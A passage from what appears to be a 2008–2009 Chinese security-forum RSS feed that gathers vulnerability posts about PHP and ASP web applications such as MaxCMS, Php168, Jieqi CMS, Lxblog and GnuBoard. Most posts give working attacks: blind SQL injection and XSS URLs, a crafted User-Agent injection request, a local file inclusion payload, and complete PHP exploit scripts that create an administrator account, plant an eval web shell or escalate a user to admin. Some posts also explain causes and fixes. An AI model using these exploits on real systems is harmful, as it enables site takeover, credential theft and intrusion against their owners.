    //&#039;blogdata&#039;,&#039;comment&#039;,&#039;itemcp&#039;,&#039;post&#039;,&#039;userinfo&#039;,&#039;global&#039;,&#039;top&#039;
//我们提交的action=tag，不在上面这个数组里面，可以触发下面的代码成功绕过register_global的影响
    foreach ($_POST as $_key =&gt; $_value) {
        !ereg(&#039;^\_&#039;,$_key) &amp;&amp; strlen(${$_key})&lt;1 &amp;&amp; ${$_key} = $_POST[$_key];
    }
    foreach ($_GET as $_key =&gt; $_value) {
        !ereg(&#039;^\_&#039;,$_key) &amp;&amp; strlen(${$_key})&lt;1 &amp;&amp; ${$_key} = $_GET[$_key];
    }
}
……//省略部分代码
=======================code==================================</code></pre></div><p>通过上面的分析，我们已经可以成功控制$type和$item_type的值了，但是还要注意两个地方：</p><p>第一个地方是要满足 in_array($type,$item_type)，我们通过直接将$type和$item_type[]赋值为相同变量即可</p><p>第二个地方是要注意我们注射的语句<br /></p><div class="codebox"><pre><code>$touchtagdb=$db-&gt;get_one(&quot;SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid=&#039;$itemid&#039;&quot;);</code></pre></div><p>综合以上，我们构造出来盲注的代码如下<br /></p><div class="codebox"><pre><code>=======================poc==================================
//判断uid=1的用户的密码第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&amp;job=modify&amp;type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))&gt;0),sleep(10),1)/*&amp;item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid    =1 AND if((ASCII(SUBSTRING(password,1,1))&gt;0),sleep(10),1)/*
=======================poc==================================</code></pre></div><p>通过浏览器返回的时间来判断是否猜解正确，如果是正确的话，浏览器返回的比较慢，近似假死状态，否则返回的就比较正常。使用二分法不断猜解即可。另外，如果数据库版本较低，可以使用benchmark函数来盲注，具体的expliot就不提供了，有需要的可以自己写个代码跑跑，不是什么难事。</p><p>另外我们看下lxblog的数据库容错代码<br /></p><div class="codebox"><pre><code>=======================code==================================
function DB_ERROR($msg) {
        global $db_blogname,$REQUEST_URI;
        $sqlerror = mysql_error();
        $sqlerrno = mysql_errno();
        //ob_end_clean();
        echo&quot;&lt;html&gt;&lt;head&gt;&lt;title&gt;$db_blogname&lt;/title&gt;&lt;style type=&#039;text/css&#039;&gt;P,BODY{FONT-FAMILY:tahoma,arial,sans-serif;FONT-SIZE:11px;}A { TEXT-DECORATION: none;}a:hover{ text-decoration: underline;}TD { BORDER-RIGHT: 1px; BORDER-TOP: 0px; FONT-SIZE: 16pt; COLOR: #000000;}&lt;/style&gt;&lt;body&gt;\n\n&quot;;
        echo&quot;&lt;table style=&#039;TABLE-LAYOUT:fixed;WORD-WRAP: break-word&#039;&gt;&lt;tr&gt;&lt;td&gt;$msg&quot;;
        echo&quot;&lt;br&gt;&lt;br&gt;&lt;b&gt;The URL Is&lt;/b&gt;:&lt;br&gt;http://$_SERVER[HTTP_HOST]$REQUEST_URI&quot;;
        echo&quot;&lt;br&gt;&lt;br&gt;&lt;b&gt;MySQL Server Error&lt;/b&gt;:&lt;br&gt;$sqlerror  ( $sqlerrno )&quot;;
        echo&quot;&lt;br&gt;&lt;br&gt;&lt;b&gt;You Can Get Help In&lt;/b&gt;:&lt;br&gt;&lt;a target=_blank href=http://www.phpwind.net&gt;&lt;b&gt;http://www.phpwind.net&lt;/b&gt;&lt;/a&gt;&quot;;
        echo&quot;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&quot;;
        exit;
    }
=======================code==================================</code></pre></div><br /><p>函数直接将造成数据库错误的url返回给客户端，对输出未作任何过滤，造成了xss漏洞，下面是我对官方的测试：<br /></p><div class="codebox"><pre><code>=======================poc==================================

http://www.lxblog.net/user_index.php?action=tag&amp;job=modify&amp;type=&lt;script&gt;alert(/xss/)&lt;/script&gt;&amp;item_type[]=&lt;script&gt;alert(/xss/)&lt;/script&gt;

=======================poc==================================</code></pre></div><p>Lxblog的漏洞就分析到这里了，这个漏洞的修补也很简单，只要在数据库查询语句前面将变量$item_type赋值为指定的数组就可以了。网上的PHP程序有不少都存在类似的漏洞，由于变量没有被正确的初始化，从而导致攻击者可以控制变量被改变程序的流程执行一些非法操作。其实这个问题并不复杂，保持一个良好的编码习惯，正确初始化类和变量即可杜绝此类漏洞。</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Mon, 16 Mar 2009 12:39:55 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/64/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[WUScan Web Path Scan Tool V1.0.0]]></title>
			<link>http://bbs.wolvez.org/topic/62/new/posts/</link>
			<description><![CDATA[<p>VB写的多线程扫描工具,大家来测试.</p><p>发个测试版,目前没有报告保存功能. :)</p><p>新功能:+根据关键字检测200和403状态.</p><p>程序运行会释放三个文件:<br />1.dic.dic&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;字典文件,可以自由选择,添加,修改.<br />2.Thread.dll&nbsp; &nbsp;多线程DLL.<br />3.WUScan.ini 程序配置文件.</p><p>文件下载:<br /><a href="http://bbs.wolvez.org/Download/WUScan.zip">本地下载</a>&nbsp; or&nbsp; <a href="http://www.8xday.cn/upload/WUScan.rar">UK Blog</a><br />================================<br />程序运行图:<br /><span class="postimg"><img src="http://www.8xday.cn/upload/wuscan.jpg" alt="WUScan Web Path Scan Tool V1.0.0" /></span></p>]]></description>
			<author><![CDATA[dummy@example.com (uk)]]></author>
			<pubDate>Mon, 09 Mar 2009 23:39:22 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/62/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[远古视频点播系统的一个注入漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/61/new/posts/</link>
			<description><![CDATA[<p>VIEWGOOD VOD视频点播系统 (WebVOD) <br />漏洞产生于文件/webmedia/oemui/user/guest.asp，访问这个页面需要注册</p><p>相关代码：</p><div class="codebox"><pre><code>    szAgent = Request.ServerVariables(&quot;HTTP_USER_AGENT&quot;)
    aTmpInfo = Split(szAgent, &quot; (&quot;, -1, 1)
    aAgentInfo = Split(aTmpInfo(1), &quot;; &quot;, -1, 1)

    szBrowser = aAgentInfo(1)
    if Right(aAgentInfo(2), 1) = &quot;)&quot; or Right(aAgentInfo(2), 1) = &quot;;&quot; then
        szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)
    else
        szOS = aAgentInfo(2)
    end if
    szClientIP = Request.ServerVariables(&quot;REMOTE_ADDR&quot;)

    szSQL = &quot;INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(&quot; &amp; iUserID &amp; &quot;,&#039;&quot; &amp; szMemo &amp; &quot;&#039;,&#039;&quot; &amp; szClientIP &amp; &quot;&#039;,&#039;&quot; &amp; szOS &amp; &quot;&#039;,&#039;&quot; &amp; szBrowser &amp; &quot;&#039;,&#039;&quot; &amp; now &amp;&quot;&#039;)&quot;
    con.Execute szSQL</code></pre></div><p>HTTP_USER_AGENT我们可以自己构造<br /></p><div class="codebox"><pre><code>POST /webmedia/oemui/user/guest.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, 
Referer: [url]http://you.are.fucked.cn/webmedia/oemui/user/guest.asp[/url]
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0&#039;,&#039;&#039;);update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: you.are.fucked.cn
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;


memo=aaaa&amp;submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (toby57)]]></author>
			<pubDate>Mon, 02 Mar 2009 10:37:56 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/61/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Bo-blogV2.1.0 小跨站一个]]></title>
			<link>http://bbs.wolvez.org/topic/39/new/posts/</link>
			<description><![CDATA[<p>版本Bo-blog V2.1.0<br />文件\inc\realplay.php<br />这个小bug有点搞笑</p><div class="codebox"><pre><code>&lt;?php
echo (get_magic_quotes_gpc() ? stripslashes($_GET[&#039;link&#039;]) : $_GET[&#039;link&#039;]);
?&gt;</code></pre></div><p>poc </p><div class="codebox"><pre><code>http://www.xxxx.com/inc/realplay.php?link=&lt;script&gt;alert(&#039;xss&#039;)&lt;/script&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Wed, 18 Feb 2009 14:28:58 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/39/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[4Images  1.7.6  Local Inclusion Vulnerability]]></title>
			<link>http://bbs.wolvez.org/topic/56/new/posts/</link>
			<description><![CDATA[<p>4Images&nbsp; 1.7.6&nbsp; Local Inclusion Vulnerability<br />BY Flyh4t<br />/***********************************************************/<br />4images - Image Gallery Management System&nbsp; V1.7.6&nbsp; Local Inclusion Vulnerability</p><p>Author : &nbsp; &nbsp; Flyh4t<br />msn : &nbsp; &nbsp; flyh4t@hotmail.com<br />team: &nbsp; &nbsp; Wolves Security Team<br />site:&nbsp; &nbsp; &nbsp; &nbsp; bbs.wolvez.org<br />Greet to : q1ur3n&nbsp; puret_t&nbsp; make0day&nbsp; and all the members of Wolves Security Team<br />/***********************************************************/<br />Bug file : global.php<br />if (isset($HTTP_GET_VARS[&#039;l&#039;]) || isset($HTTP_POST_VARS[&#039;l&#039;])) {<br />&nbsp; $requested_l = (isset($HTTP_GET_VARS[&#039;l&#039;])) ? trim($HTTP_GET_VARS[&#039;l&#039;]) : trim($HTTP_POST_VARS[&#039;l&#039;]);<br />&nbsp; if ($requested_l != $config[&#039;language_dir&#039;] &amp;&amp; file_exists(ROOT_PATH.&#039;lang/&#039;.$requested_l.&#039;/main.php&#039;)) {<br />&nbsp; &nbsp; $l = $requested_l;<br />&nbsp; &nbsp; $config[&#039;language_dir&#039;] = $l;<br />&nbsp; }<br />}</p><p>include_once(ROOT_PATH.&#039;lang/&#039;.$config[&#039;language_dir&#039;].&#039;/main.php&#039;);</p><p>/***********************************************************/<br /> global.php is included by all the files of 4images,so it can be exploited through many files</p><br /><p>/***********************************************************/</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Tue, 17 Feb 2009 03:25:52 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/56/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[马克斯CMS2.0beta (maxcms)管理员认证绕过漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/52/new/posts/</link>
			<description><![CDATA[<p>by flyh4t</p><p><a href="http://bbs.wolvez.org/">http://bbs.wolvez.org/</a></p><p>maxcms后台有自动升级功能，ajax的那个注射被修补了，但是这个漏洞还是没有修补。<br />在上一贴有同学问是否能绕过认证，答案是肯定的，但是前提是要知道后台目录地址</p><p>回顾下漏洞代码 <br /></p><div class="codebox"><pre><code>Sub checkPower
    dim loginValidate,rsObj : loginValidate = &quot;maxcms2.0&quot;
    err.clear
    on error resume next
    set rsObj=conn.db(&quot;select m_random,m_level from {pre}manager where m_username=&#039;&quot;&amp;rCookie(&quot;m_username&quot;)&amp;&quot;&#039;&quot;,&quot;execute&quot;)
    loginValidate = md5(getAgent&amp;getIp&amp;rsObj(0))
    if err then wCookie &quot;check&quot;&amp;rCookie(&quot;m_username&quot;),&quot;&quot; : die &quot;&lt;script&gt;top.location.href=&#039;index.asp?action=login&#039;;&lt;/script&gt;&quot;
    if rCookie(&quot;check&quot;&amp;rCookie(&quot;m_username&quot;))&lt;&gt;loginValidate then wCookie &quot;check&quot;&amp;rCookie(&quot;m_username&quot;),&quot;&quot; : die &quot;&lt;script&gt;top.location.href=&#039;index.asp?action=login&#039;;&lt;/script&gt;&quot;
    checkManagerLevel  rsObj(1)
    set rsObj=nothing
End Sub</code></pre></div><p>其中</p><div class="codebox"><pre><code>Function rCookie(cookieName)
    rCookie = request.cookies(cookieName)
End Function</code></pre></div><p>关键就是这个变量的值 loginValidate = md5(getAgent&amp;getIp&amp;rsObj(0))<br />通过伪造cookie可以轻松绕过这段认证代码，之后就可以添加新管理员或者修改配置文件插入一句话木马</p><p>我这里贴一个添加新管理员的exp<br /></p><div class="codebox"><pre><code>&lt;?php
print_r(&#039;
+---------------------------------------------------------------------------+
maxcms2.0 creat new admin exploit
by Flyh4t
team:wolvez security team
site:bbs.wolvez.org
dork:salemax#qq.com
+---------------------------------------------------------------------------+
&#039;);

if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to maxcms
Example:
php &#039;.$argv[0].&#039; localhost /maxcms2/ 
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];
$name = rand(1,10000);
$cmd = &#039;m_username=flyh4t&#039;.$name.&#039;&amp;m_pwd=wolvez&amp;m_pwd2=wolvez&amp;m_level=0&#039;;

$resp = send($cmd);
if (!eregi(&#039;alert&#039;,$resp)) {echo&quot;[~]bad luck,exploit failed&quot;;exit;}

print_r(&#039;
+---------------------------------------------------------------------------+
[+]cool,exploit seccuss
[+]you have add a new adminuser flyh4t&#039;.$name.&#039;/wolvez
+---------------------------------------------------------------------------+
&#039;);


function send($cmd)
{
    global $host, $path;
    $message = &quot;POST &quot;.$path.&quot;admin/admin_manager.asp?action=add HTTP/1.1\r\n&quot;;
    $message .= &quot;Accept: */*\r\n&quot;;
    $message .= &quot;Referer: http://$host$path\r\n&quot;;
    $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $message .= &quot;User-Agent: flyh4t\r\n&quot;;
    $message .= &quot;X-Forwarded-For:1.1.1.1\r\n&quot;;
    $message .= &quot;Host: $host\r\n&quot;;
    $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $message .= &quot;Cookie: m_username=flyh4t&#039;%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d&#039;admin; m_level=0; checkflyh4t&#039;%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d&#039;admin=7728a57dcd5ae1e69cf0aee02ba66de6\r\n&quot;;
    $message .= &quot;Connection: Close\r\n\r\n&quot;;
    $message .= $cmd;
    echo $message;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
    $resp .= fread($fp, 1024);
    echo $resp;
    return $resp;
}
?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Fri, 13 Feb 2009 13:57:38 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/52/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[马克斯CMS2.0beta (maxcms)SQL注入漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/48/new/posts/</link>
			<description><![CDATA[<p>BY flyh4t</p><p><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a></p><p>关键字：首页-马克斯CMS2.0</p><p>这个系统是国内非常流行的视频点播系统，之前的1.5版本漏洞非常多，2.0版本在安全方面有所提高，但是依然有漏洞存在。</p><p>看代码<br /></p><div class="codebox"><pre><code> 
\inc\ajax.asp

dim action : action = getForm(&quot;action&quot;, &quot;get&quot;)
response.Charset=&quot;gbk&quot;

Select  case action
    case &quot;newslist&quot; : viewNewsList
    case &quot;newscontent&quot; : viewNewsContent
    case &quot;digg&quot;,&quot;tread&quot; : scoreVideo(action)
    case &quot;reporterr&quot; : reportErr
    case &quot;hit&quot; : updateHit
    case else : main
End Select
terminateAllObjects

……

Sub scoreVideo(operType)
    dim sql,id,digg,returnValue : id=getForm(&quot;id&quot;,&quot;get&quot;) 
    ‘通过get方式获取id的值
    if rCookie(&quot;maxcms2_score&quot;&amp;id)=&quot;ok&quot; then die &quot;havescore&quot;
    if isNul(id) then die &quot;err&quot;
    &#039;on error resume next
    digg=conn.db(&quot;select m_digg from {pre}data where m_id=&quot;&amp;id,&quot;execute&quot;)(0)
    ‘ 参数id，没有过滤就带入sql语句进行查询
    if err then digg=0 : err.clear()
    if not isNum(id) then echoSaveStr &quot;safe&quot; else id=clng(id)
    ‘ 查询到digg，注意返回的内容
……</code></pre></div><p>利用就很简单了，构造sql语句提交（默认结构是m_manager,m_username,m_pwd，根据返回的内容判断就可以了。如果构造的语句是正确的，就返回类似警告</p><p>你提交的数据有非法字符，你的IP【xxxx】已被记录,操作</p><p>构造的语句不正确，则返回500<br />Poc :<br /></p><div class="codebox"><pre><code>正确的:
http://demo.maxcms.net/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
 
    不正确的：
http://demo.maxcms.net/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99</code></pre></div><p>其实随便找个注射工具跑一下就ok了</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Sat, 31 Jan 2009 14:39:55 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/48/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Jieqi cms v1.5 remote code execution exploit]]></title>
			<link>http://bbs.wolvez.org/topic/47/new/posts/</link>
			<description><![CDATA[<p>BY flyh4t</p><p><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a></p><p>转个exp出来迎接新年<br /></p><div class="codebox"><pre><code>&lt;?php
print_r(&#039;
+---------------------------------------------------------------------------+
Jieqi cms &lt;= 1.5 remote code execution exploit
by Flyh4t
mail: flyh4t@hotmail.com
team: http://www.wolvez.org
dork: &quot;技术支持：杰奇网络&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
* works regardless of php.ini settings
*/
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to jieqi cms
Example:
php &#039;.$argv[0].&#039; localhost /
+---------------------------------------------------------------------------+
&#039;);
    exit;
}
error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);
$host = $argv[1];
$path = $argv[2];
$url = &#039;http://&#039;.$host.$path.&#039;mirrorfile.php?filename=cache/flyh4t.php&amp;action=writetofile&amp;content=&#039;;
$shell = &#039;http://&#039;.$host.$path.&#039;cache/flyh4t.php&#039;;
$cmd = urlencode(&quot;&lt;?php @eval(\$_POST[wolvez]);?&gt;test&quot;);
$str = file_get_contents($url.$cmd);
if ( file_get_contents($shell) == &#039;test&#039;)
exit(&quot;Expoilt Success!\nView Your shell:\t$shell\n&quot;);
else
exit(&quot;Exploit Failed!\n&quot;);
?&gt;</code></pre></div><p>ps:表指望能打太多shell，时间太长已经被玩烂了</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Fri, 30 Jan 2009 10:42:28 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/47/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Php168 v2008 权限提升漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/43/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2009-01-25</p><p>简单分析下这个漏洞<br /></p><div class="codebox"><pre><code>common.inc.php

if($_SERVER[&#039;HTTP_CLIENT_IP&#039;]){
     $onlineip=$_SERVER[&#039;HTTP_CLIENT_IP&#039;];
}elseif($_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;]){
     $onlineip=$_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;];
}else{
     $onlineip=$_SERVER[&#039;REMOTE_ADDR&#039;];
}
$onlineip = preg_replace(&quot;/^([\d\.]+).*/&quot;, &quot;\\1&quot;, filtrate($onlineip));
//这个地方使用preg_replace存在着安全隐患,之前就暴过漏洞,官方修补的方法是用filtrate函数处理了下$onlineip</code></pre></div><p>看一下filtrate函数是怎么处理的<br /></p><div class="codebox"><pre><code>function.inc.php

function filtrate($msg){
    $msg = str_replace(&#039;&amp;amp;&#039;,&#039;&amp;&#039;,$msg);
    $msg = str_replace(&#039;&amp;nbsp;&#039;,&#039; &#039;,$msg);
    $msg = str_replace(&#039;&quot;&#039;,&#039;&amp;quot;&#039;,$msg);
    $msg = str_replace(&quot;&#039;&quot;,&#039;&amp;#39;&#039;,$msg);
    $msg = str_replace(&quot;&lt;&quot;,&quot;&amp;lt;&quot;,$msg);
    $msg = str_replace(&quot;&gt;&quot;,&quot;&amp;gt;&quot;,$msg);
    $msg = str_replace(&quot;\t&quot;,&quot;   &amp;nbsp;  &amp;nbsp;&quot;,$msg);
    $msg = str_replace(&quot;\r&quot;,&quot;&quot;,$msg);
    $msg = str_replace(&quot;   &quot;,&quot; &amp;nbsp; &quot;,$msg);
    return $msg;
}</code></pre></div><p>过滤了&#039;&quot;&lt;等,但是没有处理\<br /></p><div class="codebox"><pre><code>common.inc.php

    if($usr_oltime&gt;30||!$usr_oltime){
        $usr_oltime&gt;600 &amp;&amp; $usr_oltime=600;
        include(PHP168_PATH.&quot;php168/level.php&quot;);
        if( isset($memberlevel[$lfjdb[groupid]]) ){
            $SQL=&quot;,groupid=8&quot;;
            $lfjdb[money]=get_money($lfjuid);
            foreach( $memberlevel AS $key=&gt;$value){
                if($lfjdb[money]&gt;=$value){
                    $SQL=&quot;,groupid=$key&quot;;
                }
            }
        }else{
            $SQL=&quot;&quot;;
        }
        $db-&gt;query(&quot;UPDATE {$pre}memberdata SET lastvist=&#039;$timestamp&#039;,lastip=&#039;$onlineip&#039;,oltime=oltime+&#039;$usr_oltime&#039;$SQL WHERE uid=&#039;$lfjuid&#039;&quot;);
//因为这个地方是拼接字符串的形式,所以可以使用\来转义&#039;,然后利用$usr_oltime来注射:)</code></pre></div><p>另外要注意的是$usr_oltime有一个简单的判断的,而且还要保证sql语句的语法正确,看下我构造的语句:<br /></p><div class="codebox"><pre><code>UPDATE {$pre}memberdata SET lastvist=&#039;$timestamp&#039;,lastip=&#039;[\]&#039;,oltime=oltime+&#039;[+31,groupid=3,introduce=0x70757265745f74 WHERE uid=2#]&#039;$SQL WHERE uid=&#039;$lfjuid&#039;</code></pre></div><p>最后给个EXP:<br /></p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
Php168 &lt;= v2008 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: &quot;Powered by PHP168&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 5) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path user pass
host:      target server (ip/hostname)
path:      path to php168
user:      login username
pass:      login password
Example:
php &#039;.$argv[0].&#039; localhost /php168/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

$resp = send();
preg_match(&#039;/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/&#039;, $resp, $cookie);

if ($cookie)
    if (strpos(send(), &#039;puret_t&#039;) !== false)
        exit(&quot;Expoilt Success!\nYou Are Admin Now!\n&quot;);
    else 
        exit(&quot;Exploit Failed!\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);
    
function rands($length = 8)
{
    $hash = &#039;&#039;;
    $chars = &#039;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz&#039;;
    $max = strlen($chars) - 1;
    mt_srand((double)microtime() * 1000000);
    for ($i = 0; $i &lt; $length; $i++)
        $hash .= $chars[mt_rand(0, $max)];

    return $hash;
}

function send()
{
    global $host, $path, $user, $pass, $cookie;
    
    if ($cookie) {
        $cookie[1] .= &#039;;USR=&#039;.rands().&quot;\t%2b31,groupid=3,introduce=0x70757265745f74 WHERE uid=$cookie[2]#\t\t&quot;;
        $cmd = &#039;&#039;;
    
        $message = &quot;POST &quot;.$path.&quot;member/userinfo.php  HTTP/1.1\r\n&quot;;
        $message .= &quot;Accept: */*\r\n&quot;;
        $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
        $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
        $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
        $message .= &quot;CLIENT-IP: ryat\\\r\n&quot;;
        $message .= &quot;Host: $host\r\n&quot;;
        $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
        $message .= &quot;Connection: Close\r\n&quot;;
        $message .= &quot;Cookie: &quot;.$cookie[1].&quot;\r\n\r\n&quot;;
        $message .= $cmd;
    } else {
        $cmd = &quot;username=$user&amp;password=$pass&amp;step=2&quot;;
        
        $message = &quot;POST &quot;.$path.&quot;login.php  HTTP/1.1\r\n&quot;;
        $message .= &quot;Accept: */*\r\n&quot;;
        $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
        $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
        $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
        $message .= &quot;Host: $host\r\n&quot;;
        $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
        $message .= &quot;Connection: Close\r\n\r\n&quot;;
        $message .= $cmd;
    }
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Sun, 25 Jan 2009 06:48:48 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/43/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[GnuBoard本地文件包含漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/41/new/posts/</link>
			<description><![CDATA[<p>By Flyh4t<br /><a href="http://bbs.wolvez.org/">http://bbs.wolvez.org/</a></p><p>GnuBoard是韩国比较常见的一个论坛，存在较多的漏洞，其中common.php存在一个文件包含漏洞<br />看common.php代码<br /></p><div class="codebox"><pre><code>@extract($_GET);
@extract($_POST);
@extract($_SERVER); 

……

if (!$g4_path || preg_match(&quot;/:\/\//&quot;, $g4_path))
    die(&quot;&lt;meta http-equiv=&#039;content-type&#039; content=&#039;text/html; charset=$g4[charset]&#039;&gt;&lt;script language=&#039;JavaScript&#039;&gt; alert(&#039;肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.&#039;); &lt;/script&gt;&quot;); 
   
//if (!$g4_path) $g4_path = &quot;.&quot;;

$g4[&#039;path&#039;] = $g4_path; //只限制了$g4_path不能有字符 ://

unset($g4_path);

include_once(&quot;$g4[path]/lib/constant.php&quot;);  //本地文件包含漏洞
include_once(&quot;$g4[path]/config.php&quot;);  
include_once(&quot;$g4[path]/lib/common.lib.php&quot;); </code></pre></div><br /><p>poc </p><div class="codebox"><pre><code>http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Thu, 15 Jan 2009 04:42:06 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/41/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[dedecms v53鸡肋中的一个鸡肋]]></title>
			<link>http://bbs.wolvez.org/topic/40/new/posts/</link>
			<description><![CDATA[<p>dedecms v53安装文件的bug</p><p>install/index.php</p><div class="codebox"><pre><code>$insLockfile = dirname(__FILE__).&#039;/install_lock.txt&#039;;

……

foreach(Array(&#039;_GET&#039;,&#039;_POST&#039;,&#039;_COOKIE&#039;) as $_request)
{
     foreach($$_request as $_k =&gt; $_v) ${$_k} = RunMagicQuotes($_v);
}

//可以覆盖$insLockfile为任意值

require_once(DEDEINC.&#039;/common.func.php&#039;);

if(file_exists($insLockfile))
{
    exit(&quot; 程序已运行安装，如果你确定要重新安装，请先从FTP中删除 install/install_lock.txt！&quot;);
}</code></pre></div><p>所以，生成了install_lock.txt，依旧还是能通过覆盖变量来访问安装文件的</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Wed, 31 Dec 2008 11:53:48 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/40/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Wordpress 2.7.0 remote code execution vulnerability]]></title>
			<link>http://bbs.wolvez.org/topic/37/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-12-18</p><p>这个漏洞出在后台:(<br /></p><div class="codebox"><pre><code>wp-admin/post.php

    if ( current_user_can(&#039;edit_post&#039;, $post_ID) ) {
        if ( $last = wp_check_post_lock( $post-&gt;ID ) ) {
